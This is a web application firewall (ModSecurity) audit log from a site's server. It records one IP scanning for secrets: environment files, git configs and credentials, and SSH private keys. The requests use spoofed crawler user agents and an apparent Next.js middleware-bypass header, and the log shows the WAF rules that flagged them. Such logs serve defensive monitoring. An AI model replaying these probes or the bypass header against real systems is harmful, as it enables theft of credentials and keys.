[13/Sep/2026:16:26:11.670964 +0300] aqakc2M7dE9KgIIOpQiAbgAAANQ 34.73.17.152 55014 127.0.0.1 7081
--07cfee23-B--
GET /config/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--07cfee23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--07cfee23-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env"] [unique_id "aqakc2M7dE9KgIIOpQiAbgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971358958 312061 (- - -)
Stopwatch2: 1789305971358958 312061; combined=4894, p1=210, p2=4643, p3=0, p4=0, p5=40, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--07cfee23-Z--

--05535361-A--
[13/Sep/2026:16:26:11.695796 +0300] aqakc2M7dE9KgIIOpQiAbQAAANg 34.73.17.152 55004 127.0.0.1 7081
--05535361-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--05535361-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--05535361-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqakc2M7dE9KgIIOpQiAbQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqakc2M7dE9KgIIOpQiAbQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqakc2M7dE9KgIIOpQiAbQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971352063 343806 (- - -)
Stopwatch2: 1789305971352063 343806; combined=48539, p1=219, p2=48238, p3=0, p4=0, p5=82, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--05535361-Z--

--79e50e14-A--
[13/Sep/2026:16:26:11.706691 +0300] aqakcysVWymXUono-eRXSgAAAAU 34.73.17.152 55038 127.0.0.1 7081
--79e50e14-B--
POST /v1/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"

--79e50e14-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--79e50e14-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971420158 286616 (- - -)
Stopwatch2: 1789305971420158 286616; combined=5776, p1=242, p2=5226, p3=0, p4=0, p5=308, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--79e50e14-Z--

--f70ea02c-A--
[13/Sep/2026:16:26:11.907088 +0300] aqakczTJ6xTvcJoem7f94wAAAFI 34.73.17.152 55092 127.0.0.1 7081
--f70ea02c-B--
GET /.gitconfig HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f70ea02c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f70ea02c-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqakczTJ6xTvcJoem7f94wAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqakczTJ6xTvcJoem7f94wAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971724110 183039 (- - -)
Stopwatch2: 1789305971724110 183039; combined=32452, p1=272, p2=32118, p3=0, p4=0, p5=62, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f70ea02c-Z--

--2fd1cd2a-A--
[13/Sep/2026:16:26:11.969017 +0300] aqakc2M7dE9KgIIOpQiAcQAAAMo 34.73.17.152 55072 127.0.0.1 7081
--2fd1cd2a-B--
GET /.git-credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2fd1cd2a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2fd1cd2a-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqakc2M7dE9KgIIOpQiAcQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqakc2M7dE9KgIIOpQiAcQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971632593 336492 (- - -)
Stopwatch2: 1789305971632593 336492; combined=38184, p1=221, p2=37899, p3=0, p4=0, p5=63, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2fd1cd2a-Z--

--9f0e147e-A--
[13/Sep/2026:16:26:12.025891 +0300] aqakc0wu1RSkptiiNIX@NwAAAIw 34.73.17.152 55094 127.0.0.1 7081
--9f0e147e-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s2t4v0u0qsxz8
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--9f0e147e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9f0e147e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971825903 200069 (- - -)
Stopwatch2: 1789305971825903 200069; combined=5805, p1=274, p2=5127, p3=0, p4=0, p5=403, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9f0e147e-Z--

--66471e03-A--
[13/Sep/2026:16:26:12.376859 +0300] aqakdEwu1RSkptiiNIX@OQAAAJg 34.73.17.152 55186 127.0.0.1 7081
--66471e03-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--66471e03-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--66471e03-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqakdEwu1RSkptiiNIX@OQAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqakdEwu1RSkptiiNIX@OQAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305972282299 94630 (- - -)
Stopwatch2: 1789305972282299 94630; combined=30512, p1=210, p2=30234, p3=0, p4=0, p5=67, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--66471e03-Z--

--42449c34-A--
[13/Sep/2026:16:26:12.432134 +0300] aqakdGM7dE9KgIIOpQiAdAAAANI 34.73.17.152 55140 127.0.0.1 7081
--42449c34-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--42449c34-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--42449c34-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqakdGM7dE9KgIIOpQiAdAAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqakdGM7dE9KgIIOpQiAdAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305972130005 302198 (- - -)
Stopwatch2: 1789305972130005 302198; combined=53582, p1=292, p2=53176, p3=0, p4=0, p5=113, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--42449c34-Z--

--f015c67e-A--
[13/Sep/2026:16:26:12.718057 +0300] aqakdCsVWymXUono-eRXTQAAABM 34.73.17.152 55234 127.0.0.1 7081
--f015c67e-B--
GET /.ssh/id_dsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f015c67e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f015c67e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqakdCsVWymXUono-eRXTQAAABM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqakdCsVWymXUono-eRXTQAAABM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305972554733 163382 (- - -)
Stopwatch2: 1789305972554733 163382; combined=49860, p1=212, p2=49579, p3=0, p4=0, p5=68, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f015c67e-Z--

--8bf1880e-A--
[13/Sep/2026:16:26:13.717736 +0300] aqakdWM7dE9KgIIOpQiAiQAAAMo 34.73.17.152 55470 127.0.0.1 7081
--8bf1880e-B--
GET /.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8bf1880e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8bf1880e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakdWM7dE9KgIIOpQiAiQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973631104 86693 (- - -)
Stopwatch2: 1789305973631104 86693; combined=35813, p1=236, p2=13099, p3=0, p4=0, p5=11267, sr=82, sw=0, l=0, gc=11211
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8bf1880e-Z--

--a21c9a58-A--
[13/Sep/2026:16:26:13.880033 +0300] aqakdWM7dE9KgIIOpQiAigAAAMc 34.73.17.152 55476 127.0.0.1 7081
--a21c9a58-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

